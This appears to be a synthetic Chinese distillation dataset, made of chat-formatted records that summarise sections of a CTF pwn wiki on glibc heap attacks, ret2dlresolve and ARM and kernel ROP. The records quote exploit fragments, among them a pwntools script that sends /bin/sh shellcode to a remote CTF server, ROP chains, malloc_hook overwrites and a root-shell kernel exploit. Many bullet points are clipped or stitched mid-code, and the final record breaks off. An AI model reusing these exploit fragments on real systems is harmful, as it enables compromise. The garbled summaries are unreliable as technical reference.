- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

make fake write relocation at base_stage+24

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「记录旧堆信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：define GLRO(name) _##name > 记录旧堆信息
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“记录旧堆信息”展开。
- brk = snd_brk = (char )(MORECORE_FAILURE);
- ``c / Record incoming configuration of top / old_top = av->top;
- old_end = (char )(chunk_at_offset(old_top, old_size));
- old_size = chunksize(old_top);

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 5 行，首行 `/* Record incoming configuration of top */`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

记录旧堆信息

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md` 中的章节「利用原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md`
标题：House Of Einherjar
章节：House Of Einherjar > 原理 > 利用原理
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“利用原理”展开。
- 首先，在之前的堆的介绍中，我们可以知道以下的知识 - 两个物理相邻的 chunk 会共享 prev_size字段，尤其是当低地址的 chunk 处于使用状态时，高地址的chunk的该字段便可以被低地址的 chunk 使用。
- 因此，我们有希望可以通过写低地址 chunk 覆盖高地址 chunk 的 prev_size 字段。
- 那么如果我们可以同时控制一个chunk prev_size 与 PREV_INUSE 字段，那么我们就可以将新的 chunk 指向几乎任何位置。
- 后向合并时，新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize)) 。
- 一个 chunk PREV_INUSE 位标记了其物理相邻的低地址 chunk 的使用状态，而且该位是和 prev_size 物理相邻的。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

利用原理

House Of Einherjar


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`
标题：Cross-Cache Overflow & Page-level Heap Fengshui
章节：Cross-Cache Overflow & Page-level Heap Fengshui > REFERENCE
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“REFERENCE”展开。
- [https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x09-Kernel-Heap-Cross-Cache-Overflow-amp-Page-level-Heap-Fengshui](https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x09-Kernel-Heap-Cross-Cache-Overflow-amp-Page-level-Heap-...
- https://bsauce.github.io/2022/11/07/castaways
- https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html

关键术语：
- 边界/溢出
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

REFERENCE

Cross-Cache Overflow & Page-level Heap Fengshui

边界/溢出 堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「Unsorted Bin Attack 原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`
标题：Unsorted Bin Attack
章节：Unsorted Bin Attack > Unsorted Bin Attack 原理
路径分类：pwn / pwn/linux/user-mode
分块：1/2

核心知识点：
- 本节主题围绕“Unsorted Bin Attack 原理”展开。
- fprintf( stderr, "In practice, unsorted bin attack is generally prepared for further " "attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
- fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
- fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n", p);
- fprintf(stderr, "Let's malloc again to get the chunk we just free.
- 这里我以 shellphish 的 how2heap 仓库中的 unsorted_bin_attack.c 为例进行介绍，这里我做一些简单的修改，如下 `c #include <stdio.h> #include <stdlib.h> int main() { fprintf(stderr, "This file demonstrates unsorted bin attack by write a large " "unsigned long value into stack\n");

关键术语：
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c
- code:shell

代码/命令片段线索：
- C: 5 行，首行 `/* remove from unsorted list */`
- c: 40 行，首行 `#include <stdio.h>`
- shell: 13 行，首行 `➜ unsorted_bin_attack git:(master) ✗ gcc unsorted_bin_attack.c -o unsorted_bin_attack`
- c: 23 行，首行 `while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Unsorted Bin Attack 原理

Unsorted Bin Attack
Unsorted Bin Attack 原理

堆 栈 AI安全 漏洞利用 pwn linux user-mode heap code:c code:shell

Unsorted Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Final Exploitation」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`
标题：Page-level UAF
章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Final Exploitation
路径分类：pwn / pwn/linux/kernel-mode
分块：5/8

核心知识点：
- 本节主题围绕“Final Exploitation”展开。
- } / VII - FINAL exploit stage with arbitrary read & write / size_t tsk_buf, current_task_page, current_task, parent_task, buf[0x1000];
- If the func ptr is not there, just vmemmap_base -= 256MB and do it again.
- /* For a machine with MEM less than 256M, we can simply get the: page_offset_base = heap_leak & 0xfffffffff0000000;
- Note that the offset of different filed should be referred to your env. / for (int i = 0;
- void) { / init the initial val for 2nd,3rd and 4th pipe, for recovering only / memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));

关键术语：
- UAF
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Final Exploitation

Page-level UAF
例题：D^3CTF2023 - d3kcache
漏洞利用
Final Exploitation

UAF 堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation

Page-level UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「fake write args, write(1, base_stage+80, sh)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：fake write args, write(1, base_stage+80, sh)
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“fake write args, write(1, base_stage+80, sh)”展开。
- rop.raw(1) rop.raw(base_stage + 80) sh = "/bin/sh" rop.raw(len(sh)) rop.raw('a' (80 - len(rop.chain()))) rop.raw(sh) rop.raw('a' (100 - len(rop.chain()))) r.sendline(rop.chain()) r.interactive() `` 效果如下，仍然输出了 sh 对应的字符串。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `效果如下，仍然输出了 sh 对应的字符串。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

fake write args, write(1, base_stage+80, sh)

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/environment/build-kernel.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/environment/build-kernel.md`
标题：内核源码下载与编译
章节：内核源码下载与编译 > 参考
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“参考”展开。
- - https://en.wikipedia.org/wiki/Linux_kernel_version_history - https://www.kernel.org/category/releases.html - https://www.kernel.org/signature.html - http://www.linfo.org/vmlinuz.html - https://arttnba3.cn/2021/02/21/OS-0X01-LINUX-KERNEL-PART-II/ - https:/...

关键术语：
- 栈
- 漏洞利用
- pwn
- linux
- kernel-mode
- environment

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

参考

内核源码下载与编译 参考

栈 漏洞利用 pwn linux kernel-mode environment

内核源码下载与编译


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「exact fit」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > unsorted bin 遍历 > exact fit
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“exact fit”展开。
- = &main_arena) set_non_main_arena(victim);
- ``c / Take now instead of binning if exact fit / if (size == nb) { set_inuse_bit_at_offset(victim, size);
- 如果从 unsorted bin 中取出来的 chunk 大小正好合适，就直接使用。
- check_malloced_chunk(av, victim, nb);
- void *p = chunk2mem(victim);

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 9 行，首行 `/* Take now instead of binning if exact fit */`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

exact fit

申请内存块
_int_malloc
大循环-遍历 unsorted bin
unsorted bin 遍历
exact fit

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「分配chunk到malloc_hook附近」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：Fastbin Attack > 2017 0ctf babyheap > 利用思路 > 分配chunk到malloc_hook附近
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“分配chunk到malloc_hook附近”展开。
- 这里我们再次申请的时候，对应 fastbin 链表中没有相应大小chunk，所以根据堆分配器规则，它会依次处理unsorted bin中的chunk，将其放入到对应的bin中，之后会再次尝试分配 chunk，因为之前释放的 chunk 比当前申请的 chunk 大，所以可以从其前面分割出来一块。
- 所以 idx2 仍然指向该位置，那么我们可以使用类似的办法先释放申请到的chunk，然后再次修改 fd 指针为 fake chunk 即可。
- 由于 malloc hook 附近的 chunk 大小为 0x7f，所以数据区域为0x60。
- 此后我们修改 malloc_hook 处的指针即可得到触发 onegadget。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分配chunk到malloc_hook附近

Fastbin Attack
2017 0ctf babyheap
利用思路
分配chunk到malloc_hook附近

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「Unsorted Bin Attack 原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`
标题：Unsorted Bin Attack
章节：Unsorted Bin Attack > Unsorted Bin Attack 原理
路径分类：pwn / pwn/linux/user-mode
分块：2/2

核心知识点：
- 本节主题围绕“Unsorted Bin Attack 原理”展开。
- During this time, target should has already been rewrite: 0x7ffe0d232518: 0x7f1c705ffb78 `` 这里我们可以看到 unsorted bin attack 确实可以修改任意地址的值，但是所修改成的值却不受我们控制，唯一可以知道的是，这个值比较大。
- 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin，这样我们就可以去执行一些 fast bin attack了。
- ``shell We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78 Now emulating a vulnerability that can overwrite the victim->bk pointer And we write it with the target address-16 (in 32-bits machin...
- 可以看出，在将 unsorted bin 的最后一个 chunk 拿出来的过程中，victim 的 fd 并没有发挥作用，所以即使我们修改了其为一个不合法的值也没有关系。
- 然而，需要注意的是，unsorted bin 链表可能就此破坏，在插入 chunk 时，可能会出现问题。

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:shell

代码/命令片段线索：
- shell: 5 行，首行 `We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Unsorted Bin Attack 原理

堆 AI安全 漏洞利用 pwn linux user-mode heap code:shell

Unsorted Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「IV、类的创建与释放」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`
标题：编写 QEMU 模拟设备
章节：编写 QEMU 模拟设备 > QEMU Object Model > IV、类的创建与释放
路径分类：pwn / pwn/virtualization/qemu
分块：1/1

核心知识点：
- 本节主题围绕“IV、类的创建与释放”展开。
- 类似于在 C++ 当中使用 new 与 delete 来创建与释放一个类实例，在 QOM 中我们应当使用 object_new() 与 object_delete() 来创建与销毁一个 QOM 类实例，本质上就是 分配/释放类空间 + 显示调用构造/析构函数 QOM 判断创建类实例的类型是通过类的名字，即 TypeInfo->name，当创建类实例时 Qemu 会遍历所有的 TypeInfo 并寻找名字匹配的那个，从而调用到对应的构造函数，并将其基类 Object->class 指向对应的 class 下面是...
- // delete a QOM object object_delete(a3obj);

关键术语：
- pwn
- virtualization
- qemu
- environment
- code:c

代码/命令片段线索：
- c: 4 行，首行 `// create a QOM object`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

IV、类的创建与释放

编写 QEMU 模拟设备
QEMU Object Model
IV、类的创建与释放

pwn virtualization qemu environment code:c

编写 QEMU 模拟设备


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md` 中的章节「题目分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md`
标题：freelist 劫持
章节：freelist 劫持 > 例题：RWCTF2022高校赛 - Digging into kernel 1 & 2 > 题目分析
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“题目分析”展开。
- } ` 定义了一个常规的菜单堆，给了分配、编辑、读取 object 的功能，这里的 buf 是一个全局指针，我们可以注意到 ioctl 中所有的操作都没有上锁。
- ` 漏洞点主要在关闭设备文件时会释放掉 buf，但是没有将 buf 指针置 NULL，只要我们同时打开多个设备文件便能完成 UAF。
- SMT Host state unknown Mitigation: PTI Vulnerable Mitigation: usercopy/swapgs barriers and __user pointer sanitization Mitigation: Full generic retpoline, STIBP: disabled, RSB filling Not affected ` 题目给出了一个 xkmod.ko 文件，按照惯例这应当就是有漏洞的 LKM，拖入 IDA 进行分析。
- 查看 /sys/devices/system/cpu/vulnerabilities/，发现开启了 KPTI： `shell /home $ cat /sys/devices/system/cpu/vulnerabilities/ Processor vulnerable Mitigation: PTE Inversion Vulnerable: Clear CPU buffers attempted, no microcode;
- `c int __cdecl xkmod_init() { kmem_cache v0;

关键术语：
- UAF
- 堆
- 修复/缓解
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:bash
- code:shell
- code:c

代码/命令片段线索：
- bash: 7 行，首行 `qemu-system-x86_64 \`
- shell: 9 行，首行 `/home $ cat /sys/devices/system/cpu/vulnerabilities/*`
- c: 10 行，首行 `int __cdecl xkmod_init()`
- c: 35 行，首行 `void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

题目分析

例题：RWCTF2022高校赛 - Digging into kernel 1 & 2

UAF 堆 修复/缓解 漏洞利用 pwn linux kernel-mode exploitation code:bash code:shell code:c

freelist 劫持


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「功能概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：get shell > note3 > 功能概述
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“功能概述”展开。
- } ` 所有的笔记malloc出来的指针存放在bss上全局数组bss_ptr中，这个数组最多可以存放8个heap_ptr。
- heap_ptr = malloc(size);
- my_read(heap_ptr, size, '\n');
- 而且heap_ptr对应的size也被放在bss_ptr数组中。
- ` .bss: current_ptr note0_ptr note1_ptr note2_ptr note3_ptr note4_ptr note5_ptr note6_ptr note7_ptr note0_size note1_size note2_size note3_size note4_size note5_size note6_size note7_size `` Show功能是无用的功能，edit和delete可以编辑和释放note。

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 16 行，首行 `int new()`
- plain: 18 行，首行 `.bss:`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

功能概述

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「静态分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`
标题：Arm ROP
章节：for i in range(100, 150)[::-1]: > 2018 上海市大学生网络安全大赛 - baby_arm > 静态分析
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“静态分析”展开。
- } ` 程序的主干读取了 512 个字符到一个全局变量上，而在 sub_4007F0() 中，又读取了 512 个字节到栈上，需要注意的是这里直接从 frame pointer + 0x10` 开始读取，因此即使开了 canary 保护也无所谓。
- // [xsp+10h] [xbp+10h] read(0LL, &v0, 512LL);
- write(1LL, "Name:", 5LL);
- read(0LL, input, 512LL);
- } void sub_4007F0() { __int64 v0;

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow
- code:bash
- code:c

代码/命令片段线索：
- bash: 10 行，首行 `Shanghai2018_baby_arm [master] check ./pwn`
- C: 13 行，首行 `__int64 main_logic()`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

静态分析

for i in range(100, 150)[::-1]:
2018 上海市大学生网络安全大赛 - baby_arm
静态分析

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow code:bash code:c

Arm ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`
标题：Arm ROP
章节：-- coding: utf-8 --
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“-- coding: utf-8 --”展开。
- from pwn import * context.binary = "./pwn" context.log_level = "debug"
- if sys.argv[1] == "l": io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"]) elif sys.argv[1] == "d": io = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "./pwn"]) else: io = remote("106.75.126.171", 33865)
- def csu_rop(call, x0, x1, x2): payload = flat(0x4008CC, '00000000', 0x4008ac, 0, 1, call) payload += flat(x2, x1, x0) payload += '22222222' return payload
- if __name__ == "__main__": elf = ELF("./pwn", checksec = False) padding = asm('mov x0, x0')
- sc = asm(shellcraft.execve("/bin/sh")) # print disasm(padding 0x10 + sc) io.sendafter("Name:", padding 0x10 + sc) sleep(0.01)

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

-- coding: utf-8 --

边界/溢出 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow

Arm ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/rop/rop.md` 中的章节「Exploit」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/rop/rop.md`
标题：Kernel ROP
章节：Kernel ROP > 例题：强网杯2018 - core > Exploit
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Exploit”展开。
- } void get_root_shell(void) { if(getuid()) { log_error("[x] Failed to get the root!
- if(fd < 0) { log_error("[x] Failed to open the /proc/core !
- if(ksyms_file == NULL) { log_error("[x] Failed to open the sym_table file!
- / reading canary value / log_info("[] Reading value of kernel stack canary...");
- printf(SUCCESS_MSG("[+] Got kernel stack canary: ") "%lx\n", canary);

关键术语：
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 152 行，首行 `#include <stdio.h>`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Exploit

栈 ROP/JOP AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

Kernel ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「Cross-Cache Overflow」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`
标题：Cross-Cache Overflow & Page-level Heap Fengshui
章节：Cross-Cache Overflow & Page-level Heap Fengshui > Cross-Cache Overflow
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 与我们此前一直关注于 slub allocator 的各种利用手法不同，Cross-Cache Overflow 实际上是针对 buddy system 的利用手法，其主要基于如下思路： - slub allocator 底层逻辑是向 buddy system 请求页面后再划分成特定大小 object 返还给上层调用者。
- 若我们的漏洞对象存在于页面 A，溢出目标对象存在于页面 B，且 A、B两页面相邻，则我们便有可能实现跨越不同 kmem_cache 之间的堆溢出。
- 文件: figure/cross-cache-overflow.png] Cross-Cache Overflow 打破了不同 kmem\_cache 之间的阻碍，可以让我们的溢出漏洞对近乎任意的内核结构体进行覆写。
- 但这需要达成非常严苛的页级堆排布，而内核的堆页面布局对我们而言通常是未知的，因此我们需要想办法将其变为已知的内存布局，这就需要页级堆风水——
- [图片: cross-cache overflow.png;
- 内存中用作不同 kmem_cache 的页面在内存上是有可能相邻的。

关键术语：
- 边界/溢出
- 堆
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Cross-Cache Overflow

边界/溢出 堆 漏洞利用 pwn linux kernel-mode exploitation


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct rop chain」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：construct rop chain
路径分类：pwn / pwn/linux/user-mode
分块：2/2

核心知识点：
- 本节主题围绕“construct rop chain”展开。
- __libc_start_main@@GLIBC_2.0 LOAD:080482E4 dw 2 ;
